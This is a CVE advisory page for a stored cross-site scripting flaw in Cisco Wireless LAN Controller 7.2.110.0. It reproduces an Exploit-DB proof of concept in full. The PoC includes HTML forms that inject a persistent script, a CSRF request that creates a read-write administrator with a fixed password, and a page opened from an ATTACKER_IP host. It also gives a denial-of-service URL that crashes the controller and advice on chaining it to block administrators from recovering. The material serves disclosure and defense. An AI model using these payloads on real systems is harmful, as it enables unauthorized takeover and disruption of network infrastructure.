CVE-2012-6007 : Detail

CVE-2012-6007

Cross-site Scripting
A03-Injection
0.14%V3
Network
2012-12-19
11h00 +00:00
2024-09-17
03h08 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Cross-site scripting (XSS) vulnerability in screens/base/web_auth_custom.html on Cisco Wireless LAN Controller (WLC) devices with software 7.2.110.0 allows remote authenticated users to inject arbitrary web script or HTML via the headline parameter, aka Bug ID CSCud65187, a different vulnerability than CVE-2012-5992.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 23361

Publication date : 2012-12-12 23h00 +00:00
Author : Jacob Holcomb
EDB Verified : No

Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities # Exploit Title: u M@d? - Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities # Date: Discovered and reported November 2012 # Author: Jacob Holcomb/Gimppy042 - Security Analyst @ Independent Security Evaluators # Software: Cisco Wireless Lan Controller 7.2.110.0 (http://www.cisco.com) # Note: Other versions are probably vulnerable, but I wasn't able to test. # Cisco Bug ID and CVE: CSRF: CSCud50283/CVE-2012-5992, XSS: CSCud65187/CVE-2012-6007, DoS: CSCud50209/CVE-2012-5991 # Advisory/Video: http://infosec42.blogspot.com/2012/12/cisco-wlc-csrf-dos-and-persistent-xss.html # Additional Bug: DoS - See bug section in POC --Exploit code demonstrated in advisory video-- -CSRF/XSS- File #1: ciscoWLC1.html <html> <title>Cisco WLC 7.2.110.0 CSRF - Persistent XSS</title> <body> <h1>LOADING...</h1> <form name="ciscoXSS" action="https://WLC_IP_HERE/screens/base/web_auth_custom.html" method="post" > <input type="hidden" name="access_control" value="1"/> <input type="hidden" name="webauth_type" value="internal"/> <input type="hidden" name="redirect_url" value=""/> <input type="hidden" name="aire_logo" value="show"/> <input type="hidden" name="headline" value="HaXoReD<img+src=><script>alert(42)</script>>"/> <input type="hidden" name="message" value="U+mAd?<img src=http://www.memes.at/faces/u_mad_troll.gif height=1000 width=1000 align=left>"/> <input type="hidden" name="ext_webauth_url" value=""/> <input type="hidden" name="buttonClicked" value="4"/> <input type="hidden" name="indexedClicked" value="0"/> <input type="hidden" name="err_flag" value="0"/> <input type="hidden" name="err_msg" value=""/> </form> <script> function CSRF() {window.open("http://ATTACKER_IP/ciscoWLC2.html")};window.setTimeout(CSRF,1000) function XSS() {document.ciscoXSS.submit()};window.setTimeout(XSS,1000) </script> </body> </html> File #2: ciscoWLC2.html <html> <title>Cisco WLC 7.2.110.0 CSRF - Add Administrator</title> <body> <form name="ciscoCSRF" action="https://WLC_IP_HERE/screens/aaa/mgmtuser_create.html" method="post" > <input type="hidden" name="access_control" value="1"/> <input type="hidden" name="username" value="Gimppy"/> <input type="hidden" name="userpwd" value="Pwnd123"/> <input type="hidden" name="pwdconfirm" value="Pwnd123"/> <input type="hidden" name="access_mode" value="readwrite"/> <input type="hidden" name="buttonClicked" value="4"/> </form> <script> document.ciscoCSRF.submit() window.open("https://WLC_IP_HERE/screens/base/login_preview.html") <-- Or https://WLC_IP_HERE/login.html </script> </body> </html> --Bug-- DoS - Denial of Service If a GET request is made to the URL listed below with the supplied HTML parameters, the Cisco WLC will crash and perform a cold start. The request requires authentication, so you would have to target a specific authenticated user using social engineering tactics, and get them to some how submit the request to the WLC. This DoS GET request could be used in conjunction with my demonstrated chained POC exploit above using the persistent XSS vulnerability to crash the WLC after performing the initial attack. This would prevent an admin from quickly undoing the changes that were made during the attack, and if the attacker was quick enough to get shell or web access on the WLC before the admin after the WLC reboot, the attacker could change the admin password to prevent further access. DoS URL: https://WLC_IP_HERE/screens/base/web_auth_custom.html?&webauth_type=internal&buttonClicked=4

Products Mentioned

Configuraton 0

Cisco>>Wireless_lan_controller_software >> Version 7.2.110.0

Cisco>>2000_wireless_lan_controller >> Version *

Cisco>>2100_wireless_lan_controller >> Version *

Cisco>>2500_wireless_lan_controller >> Version -

Cisco>>4100_wireless_lan_controller >> Version *

Cisco>>4400_wireless_lan_controller >> Version *

Cisco>>5500_wireless_lan_controller >> Version -

Cisco>>7500_wireless_lan_controller >> Version -

Cisco>>8500_wireless_lan_controller >> Version -

References